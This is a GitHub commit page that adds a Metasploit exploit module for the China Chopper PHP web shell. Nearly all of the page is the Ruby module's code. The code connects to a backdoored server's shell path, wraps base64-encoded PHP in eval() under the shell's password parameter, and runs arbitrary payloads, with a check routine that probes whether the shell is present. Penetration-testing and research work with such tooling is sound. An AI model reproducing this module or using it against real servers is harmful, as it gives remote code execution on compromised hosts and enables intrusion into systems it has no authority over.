Skip to content

Commit 46fac89

Browse files
committed
Land rapid7#6144, China Chopper Web Shell (Backdoor) module
2 parents a71d7ae + ea22583 commit 46fac89

File tree

1 file changed

+70
-0
lines changed

1 file changed

+70
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
2+
##
3+
# This module requires Metasploit: http://metasploit.com/download
4+
# Current source: https://github.com/rapid7/metasploit-framework
5+
##
6+
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'China Chopper Caidao PHP Backdoor Code Execution',
17+
'Description' => %q{
18+
This module takes advantage of the China Chopper Webshell that is
19+
commonly used by Chinese hackers.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => ['Nixawk'],
23+
'References' =>
24+
[
25+
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
26+
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']
27+
],
28+
'Platform' => ['php'],
29+
'Arch' => ARCH_PHP,
30+
'Targets' =>
31+
[
32+
['Automatic', {}]
33+
],
34+
'Privileged' => false,
35+
'DisclosureDate' => 'Oct 27 2015',
36+
'DefaultTarget' => 0))
37+
38+
register_options(
39+
[
40+
OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
41+
OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
42+
], self.class)
43+
end
44+
45+
def http_send_command(code)
46+
code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));"
47+
send_request_cgi({
48+
'method' => 'POST',
49+
'uri' => normalize_uri(target_uri.path),
50+
'vars_post' => {
51+
"#{datastore['PASSWORD']}" => code
52+
}
53+
})
54+
end
55+
56+
def check
57+
flag = Rex::Text.rand_text_alpha(16)
58+
res = http_send_command("printf(\"#{flag}\");")
59+
if res && res.body =~ /#{flag}/m
60+
Exploit::CheckCode::Vulnerable
61+
else
62+
Exploit::CheckCode::Safe
63+
end
64+
end
65+
66+
def exploit
67+
print_status("#{peer} - Sending exploit...")
68+
http_send_command(payload.raw)
69+
end
70+
end

0 commit comments

Comments
 (0)